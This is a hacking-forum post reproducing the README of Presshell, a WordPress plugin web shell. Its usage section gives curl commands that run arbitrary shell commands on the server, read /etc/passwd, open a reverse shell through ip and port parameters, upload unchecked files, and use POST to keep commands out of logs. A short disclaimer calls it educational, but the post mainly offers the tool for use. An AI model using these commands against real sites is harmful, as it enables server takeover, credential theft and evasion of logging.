# Presshell | Quick And Dirty WordPress Command Execution Shell

**URL:** <https://onehack.st/t/presshell-quick-and-dirty-wordpress-command-execution-shell/218880>\
**Category:** Tools & Scripts\
**Tags:** tools\
**Created:** [April 15, 2022, 12:18am UTC](https://onehack.st/t/presshell-quick-and-dirty-wordpress-command-execution-shell/218880 "2022-04-15T00:18:30Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![Prometheus](https://onehack.st/user_avatar/onehack.st/prometheus/32/34950_2.png) [@Prometheus](https://onehack.st/u/Prometheus)\
**Post date:** [April 15, 2022, 12:18am UTC](https://onehack.st/t/presshell-quick-and-dirty-wordpress-command-execution-shell/218880/1 "2022-04-15T00:18:30Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/b/2/b2ef7021eb1875da2594f1d7a959678e8e220eef.png)

_Quick & dirty Wordpress Command Execution Shell._

Execute shell commands on your wordpress server. Uploaded shell will probably be at `<your-host>/wp-content/plugins/shell/shell.php`

### Installation

To install the shell, we are assuming you have administrative rights to Wordpress and can install plugins since transferring a PHP file to the media library shouldn’t work anyway. Otherwise, you have a bigger problem.

Simply upload the zip file located in the Releases section as a new extension and you’re good to go.

### Usage

Using the shell is straightforward. Simply pass `sh` commands as an argument to the shell :

❯ curl ‘[http://host/.../shell.php?cmd=uname+-a](http://host/.../shell.php?cmd=uname+-a)’ Linux wordpress-server 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux

You may as well pass these arguments in a POST request, which is the recommended way to keep your commands out of logs.

❯ curl ‘[http://host/.../shell.php](http://host/.../shell.php)’ --data-urlencode ‘cmd=ls’ LICENSE README.md shell.php

More complex commands are also supported, careful about your quoting though.

❯ curl ‘[http://host/.../shell.php](http://host/.../shell.php)’ --data-urlencode ‘cmd=cat /etc/passwd | grep -v “(false|nologin)”’ root:x:0:0:root:/root:/bin/bash sync:x:4:65534:sync:/bin:/bin/sync

❯ curl ‘[http://host/.../shell.php](http://host/.../shell.php)’ --data-urlencode ‘cmd=python -c “from urllib.parse import urlencode; print(urlencode({"cmd": "uname -a"}))”’ cmd=uname±a

You can also open a reverse shell using the `ip` and `port` parameters. The default port is `443`.

❯ curl ‘[http://host/.../shell.php](http://host/.../shell.php)’ --data-urlencode ‘ip=127.0.0.1’

❯ curl ‘[http://host/.../shell.php](http://host/.../shell.php)’ --data-urlencode ‘ip=127.0.0.1’ --data-urlencode ‘port=1337’

There is also an option provided for convenience to upload a file to the directory of the plugin _unconditionally and without checks_.

❯ curl ‘[http://host/.../shell.php](http://host/.../shell.php)’ -F ‘file=@some\_file’ ❯ curl ‘[http://host/.../shell.php](http://host/.../shell.php)’ --data-urlencode ‘cmd=ls’ LICENSE README.md shell.php some\_file

### Disclaimer

Running unathorized attacks to public or private servers is illegal. The content of this repository is for educational purposes only and no responsibility will be taken by the authors in case of ill use of the provided material.

## GitHub:

> **[GitHub - scheatkode/presshell: 🚪 Quick & dirty Wordpress Command Execution Shell](https://github.com/scheatkode/presshell)**
>
> 🚪 Quick & dirty Wordpress Command Execution Shell
